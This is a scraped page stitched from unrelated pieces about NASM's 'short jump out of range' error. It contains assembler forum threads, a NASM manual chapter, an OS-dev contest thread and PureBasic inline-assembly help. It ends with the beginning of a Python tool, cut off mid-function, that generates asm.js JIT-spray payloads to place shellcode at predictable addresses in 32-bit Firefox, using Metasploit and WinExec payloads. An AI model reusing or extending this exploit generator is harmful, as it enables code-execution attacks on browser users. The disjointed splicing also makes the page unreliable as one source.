Error short jump is out of range

Joined: 27 Oct 2003Posts: 83
View previous topic :: View next topic  
Author Message
mm-motm
Tux’s lil’ helper
Tux's lil' helper

Joined: 27 Oct 2003
Posts: 83

PostPosted: Sun Feb 13, 2005 6:42 pm    Post subject: nasm: short jump out of range [solved] Reply with quote

Hullo

i am new at assm programming, and i have some problem with nasm. Nasm kicks out an error «error: short jump is out of range»

Ok with the nasm manual i found out that all je or jne (sutch ops) are short jumps by default. http://nasm.sourceforge.net/doc/html/nasmdo10.html#section-10.1.2

Ok, but wth. As i know in 32bit protected flat model, i can address the whole memory (max 4gig) with a singl register, and as i know a short

jump has something to do with a the address space which could be addressed by a singl register.

Even if i would develop for an 0186 the je instruction has only to jump about 30 lines, and arent this short jumps local jumps?

Has anyone a idea?

PS: does anyone know a good (linux)assembler board, irc room, anything still alive.

Last edited by mm-motm on Sun Feb 13, 2005 11:19 pm; edited 1 time in total

Back to top

View user's profile Send private message

TNorthover
Guru
Guru

Joined: 25 Jan 2004
Posts: 434
Location: Edinburgh, UK

PostPosted: Sun Feb 13, 2005 7:13 pm    Post subject: Reply with quote

I’m a little rusty, and preferred at&t anyway, but it looks like you can replace it with «j?? near wherever».
Back to top

View user's profile Send private message

hjnenc
Veteran
Veteran

Joined: 15 Aug 2004
Posts: 1599
Location: Vienna, Austria

PostPosted: Sun Feb 13, 2005 7:13 pm    Post subject: Reply with quote

short jumps use a special instruction encoding format that can only represent jumps in the range of -127 .. 127 bytes (don’t remember exactly, borders may be off by one). If you have to jump further, use a long jump. This gives you the full range.
Back to top

View user's profile Send private message

mm-motm
Tux’s lil’ helper
Tux's lil' helper

Joined: 27 Oct 2003
Posts: 83

PostPosted: Sun Feb 13, 2005 7:54 pm    Post subject: Reply with quote

hmm, so how can i do a far jump if the old cool look like this:

cmp eax,11

je jumppointalpha

.

.more than 127 byte

.

jumppointalpha:

Back to top

View user's profile Send private message

mm-motm
Tux’s lil’ helper
Tux's lil' helper

Joined: 27 Oct 2003
Posts: 83

PostPosted: Sun Feb 13, 2005 9:33 pm    Post subject: Reply with quote

Ok i found a work around

by forcing the jump to be a near jump (using 32bit addressing) i was able to assembl the code.

cmp eax,11

jne near jumppointalpha

.

.

.

jumppointalpha:

but is this a wise idea to do it that way?

Back to top

View user's profile Send private message

TNorthover
Guru
Guru

Joined: 25 Jan 2004
Posts: 434
Location: Edinburgh, UK

PostPosted: Sun Feb 13, 2005 9:44 pm    Post subject: Reply with quote

The only other possibility would be reworking your code so that it’s less than 128 bytes away (that’s in the machine code obviously, not the source). In almost all cases I’d say it’s not worth it. It’s a 3 byte overhead in size. Speed overhead gets into branch prediction, which I’m not capable of, but would guess that it’s not even necessarily an improvement, let alone a significant one.
Back to top

View user's profile Send private message

hjnenc
Veteran
Veteran

Joined: 15 Aug 2004
Posts: 1599
Location: Vienna, Austria

PostPosted: Mon Feb 14, 2005 7:01 pm    Post subject: Reply with quote

mm-motm wrote:
hmm, so how can i do a far jump if the old cool look like this:

cmp eax,11

je jumppointalpha

.

.more than 127 byte

.

jumppointalpha:

The usual workaround is something like:

cmp eax,11

jne l1

jmp jumppointalpha

l1:

Back to top

View user's profile Send private message

TNorthover
Guru
Guru

Joined: 25 Jan 2004
Posts: 434
Location: Edinburgh, UK

PostPosted: Mon Feb 14, 2005 9:38 pm    Post subject: Reply with quote

Unless I’m missing something, though, that doesn’t achieve anything if the «jne near» form is available (which I believe is in anything 386 or beyond). So certainly for a linux program «jne near» would be preferred.
Back to top

View user's profile Send private message

hjnenc
Veteran
Veteran

Joined: 15 Aug 2004
Posts: 1599
Location: Vienna, Austria

PostPosted: Tue Feb 15, 2005 7:22 am    Post subject: Reply with quote

You are right, its a long time that I did assembler …
Back to top

View user's profile Send private message

Display posts from previous:   

You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum

Chapter 13: Troubleshooting

This chapter describes some of the common problems that users have been
known to encounter with NASM, and answers them. If you think you have found
a bug in NASM, please see section
E.2.

13.1 Common Problems

13.1.1 NASM Generates Inefficient Code

We sometimes get `bug’ reports about NASM generating inefficient, or
even `wrong’, code on instructions such as ADD ESP,8. This is
a deliberate design feature, connected to predictability of output: NASM,
on seeing ADD ESP,8, will generate the form of the instruction
which leaves room for a 32-bit offset. You need to code
ADD ESP,BYTE 8 if you want the space-efficient form of the
instruction. This isn’t a bug, it’s user error: if you prefer to have NASM
produce the more efficient code automatically enable optimization with the
-O option (see section
2.1.24).

13.1.2 My Jumps are Out of Range

Similarly, people complain that when they issue conditional jumps (which
are SHORT by default) that try to jump too far, NASM reports
`short jump out of range’ instead of making the jumps longer.

This, again, is partly a predictability issue, but in fact has a more
practical reason as well. NASM has no means of being told what type of
processor the code it is generating will be run on; so it cannot decide for
itself that it should generate Jcc NEAR type instructions,
because it doesn’t know that it’s working for a 386 or above.
Alternatively, it could replace the out-of-range short JNE
instruction with a very short JE instruction that jumps over a
JMP NEAR; this is a sensible solution for processors below a
386, but hardly efficient on processors which have good branch prediction
and could have used JNE NEAR instead. So, once again,
it’s up to the user, not the assembler, to decide what instructions should
be generated. See section
2.1.24.

13.1.3 ORG Doesn’t Work

People writing boot sector programs in the bin format often
complain that ORG doesn’t work the way they’d like: in order
to place the 0xAA55 signature word at the end of a 512-byte
boot sector, people who are used to MASM tend to code

        ORG 0 

        ; some boot sector code 

        ORG 510 
        DW 0xAA55

This is not the intended use of the ORG directive in NASM,
and will not work. The correct way to solve this problem in NASM is to use
the TIMES directive, like this:

        ORG 0 

        ; some boot sector code 

        TIMES 510-($-$$) DB 0 
        DW 0xAA55

The TIMES directive will insert exactly enough zero bytes
into the output to move the assembly point up to 510. This method also has
the advantage that if you accidentally fill your boot sector too full, NASM
will catch the problem at assembly time and report it, so you won’t end up
with a boot sector that you have to disassemble to find out what’s wrong
with it.

13.1.4 TIMES Doesn’t Work

The other common problem with the above code is people who write the
TIMES line as

        TIMES 510-$ DB 0

by reasoning that $ should be a pure number, just like 510,
so the difference between them is also a pure number and can happily be fed
to TIMES.

NASM is a modular assembler: the various component parts are
designed to be easily separable for re-use, so they don’t exchange
information unnecessarily. In consequence, the bin output
format, even though it has been told by the ORG directive that
the .text section should start at 0, does not pass that
information back to the expression evaluator. So from the evaluator’s point
of view, $ isn’t a pure number: it’s an offset from a section
base. Therefore the difference between $ and 510 is also not a
pure number, but involves a section base. Values involving section bases
cannot be passed as arguments to TIMES.

The solution, as in the previous section, is to code the
TIMES line in the form

        TIMES 510-($-$$) DB 0

in which $ and $$ are offsets from the same
section base, and so their difference is a pure number. This will solve the
problem and generate sensible code.

  1. I am a *budding* programmer(read: ignorant noob), and I have a question.

    I have not been able to compile ANYTHING with ubuntu.

    The errors I get always seem to be different, and I don’t think this is a library linking problem. I heard about gcc 4.0 not being able to compile some old things.

    So, my simple question is, will installing older versions of gcc(eg,3.4 & etc)
    solve some of these problems? I know it won’t solve all problems, but could it possibly have an effect?

    Forgive my ignorance.

    GUNZIP!! BUNZIP TOO!!!«I may not understand what I’m installing, but that’s not my job. I just need to click Next, Next, Finish here so I can walk to the next system and repeat the process»
    — Anonymous NT Admin


  2. Re: A simple question

    First of all, make sure you have the package build-essential installed. Second, what kind of errors are you getting? A few specific examples might be helpful. I doubt that using an older compiler would be helpful.


  3. Re: A simple question

    Quote Originally Posted by rmjokers

    First of all, make sure you have the package build-essential installed. Second, what kind of errors are you getting? A few specific examples might be helpful. I doubt that using an older compiler would be helpful.

    I did that, thanks. While I was at it I took a look at the Readme of the current program I am trying to compile
    (it’s Gens for Linux, a Sega Genesis&etc emulator) and found a list of packages that it required to compile correctly
    (one of those was gcc 2.95, and installing it and using it to compile actually did help).

    That helped, but this program requires the «nasm» x86 assembly compiler package to build correctly. I installed it as previously mentioned, but I got these errors when nasm was called during compilation:

    nasm -D__GCC2 -f elf -O3 vdp_rend.asm -ovdp_rend.o
    vdp_rend.asm:2089: error: short jump is out of range
    vdp_rend.asm:2112: error: short jump is out of range
    vdp_rend.asm:2116: error: short jump is out of range
    vdp_rend.asm:2119: error: short jump is out of range
    vdp_rend.asm:2126: error: short jump is out of range
    vdp_rend.asm:2130: error: short jump is out of range
    vdp_rend.asm:2133: error: short jump is out of range
    vdp_rend.asm:2155: error: short jump is out of range
    vdp_rend.asm:2159: error: short jump is out of range
    vdp_rend.asm:2162: error: short jump is out of range
    vdp_rend.asm:2169: error: short jump is out of range
    vdp_rend.asm:2173: error: short jump is out of range
    vdp_rend.asm:2176: error: short jump is out of range
    vdp_rend.asm:2195: error: short jump is out of range

    ……&etc, with this line at the end:

    vdp_rend.asm:2260: error: phase error detected at end of assembly.
    make: *** [vdp_rend.o] Error 1

    This means nothing to me.
    Gens for Linux is a bit buggy still, so this may be a coding error.
    If so, forgive me for taking all this forum space up.

    Last edited by phanboy_iv; November 8th, 2005 at 11:39 PM.

    GUNZIP!! BUNZIP TOO!!!«I may not understand what I’m installing, but that’s not my job. I just need to click Next, Next, Finish here so I can walk to the next system and repeat the process»
    — Anonymous NT Admin


  4. Re: A simple question

    I too am having the same exact problem compiling gens. I am using gcc 4.1.3 20070929 (prerelease) (Ubuntu 4.1.2-16ubuntu2) and nasm 0.98.38. I was getting other errors such as «‘GTK_FILE_SELECTION’ was not declared in this scope» and «‘gtk_file_selection_get_filename’ was not declared in this scope», but I got past that by removing the GTK_DISABLE_DEPRECATED flag from the makefile. Any help with this would be appreciated since I have been unable to find any other good sega emulator with a gui.

    P.S. I’m using ubuntu 7.10


View unanswered posts | View active topics

Author Message

Post subject: Re: 512-byte OS Contest

PostPosted: Sat Jan 03, 2009 11:50 am 

Offline
Member
Member
User avatar



Joined: Fri Apr 18, 2008 4:40 pm
Posts: 1686
Location: Langley, Vancouver, BC, Canada

Here’s zeroflag’s entry, a limited basic-like interactive interpretive language!

@inflater: I never got an email from you :?

Attachments:
File comment: YAUS — Yet Another Useless Stuff :)



yaus.zip [8.38 KiB]

Downloaded 238 times


_________________
Image
Image

Solar wrote:

It keeps stunning me how friendly we — as a community — are towards people who start programming «their first OS» who don’t even have a solid understanding of pointers, their compiler, or how a OS is structured.

I wish I could add more tex

Top

Profile  

Dex

Post subject: Re: 512-byte OS Contest

PostPosted: Sat Jan 03, 2009 2:18 pm 



Joined: Fri Jan 27, 2006 12:00 am
Posts: 1444

I will wait a day or two, than i will take screenshots of the entrys and post a link.

Top

Profile  

Troy Martin

Post subject: Re: 512-byte OS Contest

PostPosted: Sun Jan 04, 2009 9:30 pm 



Joined: Fri Apr 18, 2008 4:40 pm
Posts: 1686
Location: Langley, Vancouver, BC, Canada

My entry, |)emOS is complete, it’s not much, just a little shell with 1-letter commands in 512-bytes with a register dump tool for fun :D

Commands: e (echo), d (dump), h (random number generator), ? (help).

Attachments:
File comment: |)emOS



demos.zip [1.67 KiB]

Downloaded 208 times


_________________
Image
Image

Solar wrote:

It keeps stunning me how friendly we — as a community — are towards people who start programming «their first OS» who don’t even have a solid understanding of pointers, their compiler, or how a OS is structured.

I wish I could add more tex

Top

Profile  

Troy Martin

Post subject: Re: 512-byte OS Contest

PostPosted: Mon Jan 05, 2009 8:15 pm 



Joined: Fri Apr 18, 2008 4:40 pm
Posts: 1686
Location: Langley, Vancouver, BC, Canada

Zenith’s entry, a snake game, is here!

Attachments:
File comment: Snake512



Snake512.zip [17.25 KiB]

Downloaded 227 times


_________________
Image
Image

Solar wrote:

It keeps stunning me how friendly we — as a community — are towards people who start programming «their first OS» who don’t even have a solid understanding of pointers, their compiler, or how a OS is structured.

I wish I could add more tex

Top

Profile  

geppy

Post subject: Re: 512-byte OS Contest

PostPosted: Mon Jan 05, 2009 9:11 pm 



Joined: Wed Jun 11, 2008 5:30 pm
Posts: 27

Every single person here tries to put in one single feature.Could you explain how come is it an Operating System and whats the point of slow running Snake game without any features or effects (comparing to SSE version in Protected Mode).

Top

Profile  

Troy Martin

Post subject: Re: 512-byte OS Contest

PostPosted: Mon Jan 05, 2009 9:17 pm 



Joined: Fri Apr 18, 2008 4:40 pm
Posts: 1686
Location: Langley, Vancouver, BC, Canada

Cause it’s fun.

01000101’s entry is ready, a «half-baked Fallout 3 terminal interface clone!»

Attachments:
File comment: Fallout 3 Interface Clone



fallout3.zip [2.67 KiB]

Downloaded 293 times


_________________
Image
Image

Solar wrote:

It keeps stunning me how friendly we — as a community — are towards people who start programming «their first OS» who don’t even have a solid understanding of pointers, their compiler, or how a OS is structured.

I wish I could add more tex

Top

Profile  

inflater

Post subject: Re: 512-byte OS Contest

PostPosted: Tue Jan 06, 2009 6:09 am 



Joined: Thu Sep 28, 2006 10:32 am
Posts: 1309
Location: Slovakia

//EDIT:

Attention, please close your bids. 0:00 hours remaining :P

Deadline! Now it’s time to check. Who’s up for testing?
I’ll do in case something doesn’t work on my rHW.


_________________
My web site: http://inflater.wz.cz (Slovak)
Derrick operating system: http://derrick.xf.cz (Slovak and English :P)

Top

Profile  

eddyb

Post subject: Re: 512-byte OS Contest

PostPosted: Tue Jan 06, 2009 9:12 am 



Joined: Fri Aug 01, 2008 7:52 am
Posts: 248

Tested Fallout3.
i used ‘qemu kernel.img’ from the dir where i unzipped.
the password is ‘hackit’ :mrgreen: .
well, pretty, but i don’t understand what he does :)

EDIT:
Tested Snake512.
command: ‘qemu Snake512.bin’
verry funny snake game, congratz!

Top

Profile  

Troy Martin

Post subject: Re: 512-byte OS Contest

PostPosted: Tue Jan 06, 2009 9:34 am 



Joined: Fri Apr 18, 2008 4:40 pm
Posts: 1686
Location: Langley, Vancouver, BC, Canada

Sorry for the delay but we’re having serious poll issues (options doubling, some disappearing) and we need to find someone who can host a poll for us.


_________________
Image
Image

Solar wrote:

It keeps stunning me how friendly we — as a community — are towards people who start programming «their first OS» who don’t even have a solid understanding of pointers, their compiler, or how a OS is structured.

I wish I could add more tex

Top

Profile  

inflater

Post subject: Re: 512-byte OS Contest

PostPosted: Tue Jan 06, 2009 10:01 am 



Joined: Thu Sep 28, 2006 10:32 am
Posts: 1309
Location: Slovakia

Mine results:

|)emos: compiling error,

Code:

D:OSdev512BYTE>nasm -o boot.bin demos.asm
demos.asm:50: error: short jump is out of range
demos.asm:55: error: short jump is out of range

This can be fixed by either moving the labels onto the beginning of the file and JMP START, or just using the NEAR suffix (and setting CPU mode to 386).

Please explain, how it’s useful to have section .bss, private variables and labels, and the «jmp short» suffix, Troy? :? These jumps are always «short», unless a memory location — another segment — is specified. Plus, these private labels and variables — that’s overkill. :roll:

After all, it works. ;)


_________________
My web site: http://inflater.wz.cz (Slovak)
Derrick operating system: http://derrick.xf.cz (Slovak and English :P)

Top

Profile  

chezzestix

Post subject: Re: 512-byte OS Contest

PostPosted: Tue Jan 06, 2009 1:41 pm 



Joined: Mon May 05, 2008 5:51 pm
Posts: 118

Troy Martin wrote:

Sorry for the delay but we’re having serious poll issues (options doubling, some disappearing) and we need to find someone who can host a poll for us.

Not sure what you need but if you have the page and all you need is space on a webserver then I can help you out there.

I extensively tested Snake512. Got up to a score of 94 at one point.

Downfall:
You are allowed to turn back on yourself. This also counts as biting yourself and it gets kinda annoying when either you simply accidentally press back or the game misses your request to turn and then picks up the backward movement.

Not a bad game otherwise.

Top

Profile  

01000101

Post subject: Re: 512-byte OS Contest

PostPosted: Tue Jan 06, 2009 1:41 pm 



Joined: Fri Jun 22, 2007 12:47 pm
Posts: 1598
Location: New Hampshire, USA

shiner wrote:

Tested Fallout3.
i used ‘qemu kernel.img’ from the dir where i unzipped.
the password is ‘hackit’ :mrgreen: .
well, pretty, but i don’t understand what he does :)

haha yeah, I forgot to give the password, but it’s pretty obvious if you check out the source.

I apologize for my half-baked entry as I stopped working on it a few days ago due to some new things with my own OS.

The point is just to look similar to that of the Fallout 3 terminals, nothing more, nothing less. I originally wanted to do some 64-bit stuff, but I couldn’t find any ‘features’ that would be worth it and could still fit in the remaining space after paging/double-sized gdt/ and just the rest of the init code. Maybe next time I’ll think a little harder about things to do in 64-bit.


_________________
Website: https://Joscor.com

Top

Profile  

mrnoob

Post subject: Re: 512-byte OS Contest

PostPosted: Tue Jan 06, 2009 2:16 pm 



Joined: Thu Sep 18, 2008 11:45 am
Posts: 26

ah well, i got caught up in other things and couldnt do my entry in time. I was going to make an interactive debugger, from lack of ideas.

Top

Profile  

Troy Martin

Post subject: Re: 512-byte OS Contest

PostPosted: Tue Jan 06, 2009 5:18 pm 



Joined: Fri Apr 18, 2008 4:40 pm
Posts: 1686
Location: Langley, Vancouver, BC, Canada

inflater wrote:

Please explain, how it’s useful to have section .bss, private variables and labels, and the «jmp short» suffix, Troy? :? These jumps are always «short», unless a memory location — another segment — is specified. Plus, these private labels and variables — that’s overkill. :roll:

TLDR version: It’s my coding style and asm optimizations.

Long(er) version:
section .bss: I use this to reserve space in memory and not have huge buffers of zeroes in my kernel, allowing more code in.
private variables and labels: I assume you mean labels starting with a dot. This is so I can use more… uniform and recognizable names in my source and not things like «word_0x_18», instead using «.temp» and «.random», etc.
short jump out of range: Sorry, I was trying to do some optimizations by using short jumps, I seem to have left a few in…


_________________
Image
Image

Solar wrote:

It keeps stunning me how friendly we — as a community — are towards people who start programming «their first OS» who don’t even have a solid understanding of pointers, their compiler, or how a OS is structured.

I wish I could add more tex

Top

Profile  

cippo

Post subject: Re: 512-byte OS Contest

PostPosted: Tue Jan 06, 2009 6:05 pm 

Offline



Joined: Tue Jan 06, 2009 5:48 pm
Posts: 2

Oops, was I too late? Guess I misunderstood your «Entries must be in by Jan. 6th, 2009 at midnight PST (GMT-8)». Thought you meant Jan 6. 23:59:59+ 1 sec. Ohwell, I’ll just dump it here anyway. It’s a vi-like editor and a brainfuck interpreter. It supports moving around with h, j, k and l, opening lines above and below with O and o and inserting text with i. To interpret the file you’ve written press I (that is capital i). All the commands above should be inserted in command mode (you see which mode you’re in in the lower left corner, C = command, I = input). And as always esc takes you back from input to command.

Cheers,
Cippo

Attachments:
File comment: Tested in bochs and qemu, no idea if it works on real hardware.



bootfuck.zip [2.75 KiB]

Downloaded 189 times

Top

Profile  

Who is online

Users browsing this forum: rdos and 5 guests

You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

@Wayne:
The jump is out of range here because the debugger inserts
extra stuff — compiles fine with debugger disabled.
It compiles also if you use DisableDebugger+EnableDebugger
around your procedure/asm-code, so the debugger doesnt
insert extra stuff.

Another thing:
I dont think ReplaceString(A$, » «, Chr(0), 1, 1) is right. PureBasic uses
ASCIIZ-Strings, so ‘0’ is not a valid char.
Use allocated memory for buffers/data: sTmpData = AllocateMemory(1,1000)

Still doesnt work with this modifications, app just closes in your
function Compress().

You ask why? Its easy, your code:

Code: Select all

Procedure.l Compress(ptrInData.l, LenInData.l, ptrOutData.l, ptrTmpData.l) 
PUSHAD 
   PUSH    ptrTmpData 
   PUSH    LenInData 
   PUSH    ptrInData 
   PUSH    ptrOutData 
   CALL    l_cstart 
   JMP     l_cend

is translated to:

Code: Select all

; PUSHAD
  PUSHAD
; PUSH    ptrTmpData
  PUSH   dword [esp+12]
; PUSH    LenInData
  PUSH   dword [esp+4]
; PUSH    ptrInData
  PUSH   dword [esp]
; PUSH    ptrOutData
  PUSH   dword [esp+8]
; !CALL    l_cstart 
CALL    l_cstart 
; !JMP     l_cend 
JMP     l_cend

After your PUSHAD, the stack has changed. As you can see,
PB doesnt update the internal stack calculation on PUSHAD
and still assumes that the 4 arguments are in [ESP] — [ESP+12].
What PB pushes here are the registers you pushed with PUSHAD
before.
The 2nd Problem: PB also doesnt update the internal Stack-Counter
after every ‘PUSH variable’ (see above).

I tried to correct this problem with directASM, but there is still
an Error in the code. I checked also your PUSH/POP pairs and it
seems to be OK:

Code: Select all

OnErrorGoto(?Error)

DisableDebugger

Procedure.l Compress(ptrInData.l, LenInData.l, ptrOutData.l, ptrTmpData.l)
!PUSHAD
; PUSH    ptrTmpData
   !PUSH   dword [esp+12 + 32    ]
; PUSH    LenInData
   !PUSH   dword [esp+4  + 32 + 4]
; PUSH    ptrInData
   !PUSH   dword [esp    + 32 + 8]
; PUSH    ptrOutData
   !PUSH   dword [esp+8  + 32 + 12]

   !CALL    l_cstart
   !JMP     l_cend
  CStart: 
   !SUB     edx, edx 
   !XCHG    eax, edx 
   !PUSHAD
     !MOV     ebp, esp 
     !AND     ecx, eax 
     !MOV     edi, [ebp+0x30] 
     !CLD
     !MOV     ch, 0x40 
     !PUSH    edi
       !REP     stosd 
       !SUB     edx, 0x2864E25C 
       !MOV     esi, [ebp+0x28] 
       !JNZ     l_pack0 
       !DEC     edx 
pack0: 
       !PUSH    ecx 
         !SUB     ax, 0x0AEB6 
         !MOV     edi, [ebp+0x24] 
       !POP     ebx 
       !stosw 
       !XCHG    eax, edx 
     !POP     ebp 
     !stosd
     !PUSH    edi 
       !XCHG    eax, edx 
       !PUSH    esp 
pack1: 
         !TEST    cl, 7 
         !lodsb 
         !JNZ     l_pack3 
         !XCHG    edx, [esp] 
         !ADC     ah, dl 
       !POP     edx 
       !XCHG    edi, [esp] 
       !ROR     edx, 1 
       !MOV     [edi], ah 
       !JC      l_pack2 
       !XOR     edx, 0x2C047C3E 
pack2:
     !POP     edi 
     !MOV     ah, 0x0FF 
     !PUSH    edi 
       !XOR     edx, 0x76C52B8D 
       !INC     edi 
       !PUSH    edx 
pack3: 
         !CMP     al, [ebx+ebp] 
         !JZ      l_pack5 
         !ROR     edx, 1 
         !MOV     [ebx+ebp], al 
         !JNC     l_pack4 
         !XOR     edx, 0x2C047C3E 
pack4: 
         !MOV     bh, al 
         !XOR     edx, 0x5AC157B3 
         !ADC     al, dl 
         !stosb 
         !MOV     al, bh 
         !STC 
pack5: 
         !INC     ecx 
         !MOV     bh, bl 
         !RCL     ah, 1 
         !CMP     ecx, [esp+0x34] 
         !MOV     bl, al 
         !JC      l_pack1 
         !ROR     ah, cl 
       !POP     ebx 
       !ADD     ah, bl 
     !POP     esi 
     !MOV     ebp, esp 
     !SUB     edi, [ebp+0x24] 
     !MOV     [ebp+0x14], edx 
     !XCHG    ah, [esi] 
     !ADD     [ebp+0x1C], edi
   !POPAD
   !RET 0x10
CEnd:
!POPAD
EndProcedure 

EnableDebugger

;Dim sInData AS STRING, sOutData AS STRING, sTmpData AS STRING * 65535, OutSize AS DWORD 
sTmpData.s = Space(1000) 
sTmpData = ReplaceString(sTmpData, " ", Chr(0), 1, 1) 
;sTmpData = AllocateMemory(1,1000)

;// Data to compress 
sInData.s = "testingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtestingtesting"
;// Compress it ... 
sOutData.s = Space(Len(sInData))
sOutData.s = ReplaceString(sOutData, " ", Chr(0), 1, 1)

OutSize.l = Compress(@sInData, Len(sInData), @sOutData, @sTmpData)

If OutSize > Len(sInData)
  Debug "Unable to compress this data (probably not enough repetition)."
  ;End 
EndIf

A$ = "Original size     = " + StrU(Len(sInData), #LONG) + " bytes" 
B$ = "Compressed size   = " + StrU(OutSize,#LONG)       + " bytes"
MessageRequester("INFO",A$+Chr(13)+B$)

End

Error:
MessageRequester("FATAL ERROR !",GetErrorDescription(),#MB_ICONERROR)
End

You should check now if all your stack calculation is correct
(!MOV esi, [ebp+0x28] and all this), there is a protection fault
somewhere (write/read to/from wrong address).

#!/usr/bin/env python2 ## version 0.0 ### GENERATES JIT SPRAY PAYLOADS BY HIDING OPCODES WITHIN ASM.JS CONSTANTS ### ## nothing special, code’s a bit blown up and overcomplicated ## runs on linux only, generates windows payloads ## radare2 or metasploit could be used to write this wrapper, but hey, what the ## heck ## hacked together… ## simple shellcode would have been sufficient as poc. ## However, here’s an more generic approach ## unmaintained ## — Rh0 import distorm3, sys, os, argparse, subprocess, re, struct from binascii import hexlify, unhexlify from struct import pack, unpack ### some globals ### ## distorm3 helper OFFSET=0 LEN=1 MNEMONIC=2 OPCODE=3 cd = os.path.dirname(__file__) asm_dir = cd + «/asm_payloads» templates = cd + «/asmjs_templates» stage0_loader_3 = asm_dir + ‘/three_byte_stager.asm’ stage0_loader_2 = asm_dir + ‘/two_byte_stager.asm’ ## max size for payload with dynamic loader PAYLOAD_MAX_SIZE_STAGER_3 = 0x405 ## three byte stage0_loader needs size % 3 == 0 PAYLOAD_MAX_SIZE_STAGER_2 = 0x204 ## two byte stage0_loader needs size % 4 == 0 ## nasm assembler path NASM=«nasm» # adjust if necessary ## write asm.js compatible nasm source to: asm_tmp_src = cd + «/tmp/tmp.asm» ## assemble payload into: asm_tmp_bin = cd + «/tmp/tmp.bin» add_eax = «db 0x05n« nop = «db 0x90n« # = «nop» should be ok, too ## bytes to mask 05 (= add eax, …) mask_to_test_al = «db 0xa8n« test_al = «a8» pushfd = «db 0x9cn« popfd = «db 0x9dn« header =«»» ====================== == ASM.JS JIT-SPRAY == ====================== «»» ## Usage, Help and Description ## def parse_args(): arg_parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description = header + «»» Tool to create asm.js scripts usable to ‘JIT’ spray shellcode payloads to predictable addresses in 32-bit Firefox. Tested with Firefox up to 50.1.0. — Rh0 «»», epilog= «»» Examples: (*) Embed a payload as an asm.js float constant pool {toolname:s} -f metasploit_x86_messagebox.py (*) Generate a dynamic asm.js stage-0 loader: {toolname:s} -l {toolname:s} -t dynamic -l (*) Generate a static asm.js file and embed a x86 binary shellcode payload which gets loaded by the stage-0 loader at runtime {toolname:s} -t static -l metasploit_x86_messagebox.py (*) Generate a static asm.js file end embed a WinExec(«calc») payload (No stage-0 loader): {toolname:s} -t static -p WinExec_calc.asm «»».format(toolname=sys.argv[0]) ) ## -f, -l and -p are mutually exlusive group = arg_parser.add_mutually_exclusive_group(required=True) group.add_argument(«-f», metavar=«<file>.py», dest=«float_pool_payload»,help=«»»Generate executable asm.js float constant pool payload from <file>.py. <file>.py should contain the binary payload in a ‘buf’ variable. All other options are ignored. NOTE: For Firefox => 46 self-modifying payloads won’t work, due to W^X permissions of JIT regions.»»») # in case -P is used, stage0 becomes the custom payload group.add_argument(«-p», metavar=«<file>.asm», default=stage0_loader_3, dest=«stage0», help=«»»The custom payload/shellcode to embed: <file>.asm is an asm file in nasm source format.»»») group.add_argument(«-l», metavar=«<file>.py», dest=«bin_payload», default=«disabled», nargs=‘?’, help=«»»Generate asm.js three-byte stage-0 loader and insert a custom binary payload from <file>.py. <file>.py should contain the payload in a ‘buf’ variable. If this option is used together with ‘-t dynamic’, then <file>.py may be omitted and the payload can be inserted manually into the generated script»»») arg_parser.add_argument(«-d», metavar=«<distance>», default=‘disabled’, dest=«two_byte_stager», help=«»»Generate two-byte sized stage0 loader instead of three-byte sized stage0. Specify the jump <distance> in bytes between the asm.js constants. Only valid with -l and -t dynamic.»»») # default: -t dynamic arg_parser.add_argument(«-t», metavar=«<type>», default=«dynamic», dest=«payload_type», help=«»»Type of asm.js payload to generate: ‘dynamic’ or ‘static’. ‘static’ inlines shellcode into asm.js instructions and outputs an asm.js file. ‘dynamic’ creates an asm.js runtime loader which embeds shellcode during runtime.»»») arg_parser.add_argument(«-o», metavar=«<file>», default=None, dest=«output», help=«»»Write output asm.js payload to a file»»») args = arg_parser.parse_args() return args reg8 = {«b8»: («al»,«ah»), «bb»: («bl»,«bh»), «b9»: («cl»,«ch»), «ba»: («dl»,«dh»)} reg16 = {«b8»: («ax»), «bb»: («bx»), «b9»: («cx»), «ba»: («dx»)} reg32= {«b8»: («eax»), «bb»: («ebx»), «b9»: («ecx»), «ba»: («edx»)} ## set 2 least significant bytes separately ## and create nasm instructions (3 byte stager) def transform_mov_3bytes(opcode, imm32): return [ «mov « + reg8[opcode][0] + «, 0x» + imm32[6:8]+ «n«, «mov « + reg8[opcode][1] + «, 0x» + imm32[4:6] + «n« ] def transform_mov_2bytes(instr_nr, opc, imm32le): imm32 = unhexlify(imm32le) imm32 = int(hexlify(imm32[::1]), 16) mov = [] ## FIXME: xchg eax with reg if eax is dest reg ## check imul [esp] if opc!= «b8»: mov += [«PUSH EAXnNOP»] else: raise Exception(«FIXME») mov += [«XOR EAX, EAX»] mov += [«mov AL, 0x{:x}».format( [0, ((imm32 & 0xff0000) >> 16) + 1][(imm32 & 0xff0000) >> 16 < 0xff] )] mov += [«MOV AH, 0x{:x}».format(((imm32 & 0xff000000) >> 24) + [0, 1][(imm32 & 0xff0000 >> 16) == 0xff] )] mov += [«XOR {REG32:s}, {REG32:s}».format(REG32=reg32[opc])] mov += [«DEC {REG16:s}».format(REG16=reg16[opc])] ## KILLS EDX! FIXME mov += [«MUL {REG32:s}».format(REG32=reg32[opc])] mov += [«MOV AL, 0x{:x}».format((imm32 & 0xff))] mov += [«MOV AH, 0x{:x}».format((imm32 & 0xff00) >> 8)] if opc != «b8»: mov += [«MOV {REG32:s}, EAX».format(REG32=reg32[opc])] mov += [«POP EAXnNOP»] return mov ## specific conditional ? def instr_is_jcc(mnemonic): mne = mnemonic.lower() if (mne.startswith(«j») and ## …exceptions: not mne.startswith(«jmp») and not mne.startswith(«jecxz») ): return 1 return 0 ## MOV REG32, IMM32 ? (REG 32 != ESI, EDI, ESP, EBP) def instr_is_mov_reg32_imm32(hex_opcode): #if 0xb8 <= int(hex_opcode[:2], 16) <= 0xbf: if 0xb8 <= int(hex_opcode[:2], 16) <= 0xbb: return 1 return 0 ## CMP or TEST? add instructions if necessary def instr_is_compare(mnemonic): mne = mnemonic.lower() ## add your allowed preceding instr here if mne.startswith(«test») or mne.startswith(«cmp»): return 1 return 0 ## naive algo to insert jump cave if short jump is out of range ## if we assemble the 2nd time and get a «jump is out of range error», then we ## inserted to much stuff between jmp and target. fix it via jump caves ## FIXME: currently only inserting one cave def 